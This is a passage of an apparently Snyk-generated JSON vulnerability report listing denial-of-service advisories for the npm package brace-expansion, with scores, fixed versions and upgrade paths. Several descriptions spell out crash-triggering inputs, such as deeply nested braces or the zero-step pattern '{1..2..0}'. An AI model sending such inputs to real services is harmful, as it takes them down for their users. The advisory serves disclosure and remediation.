"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
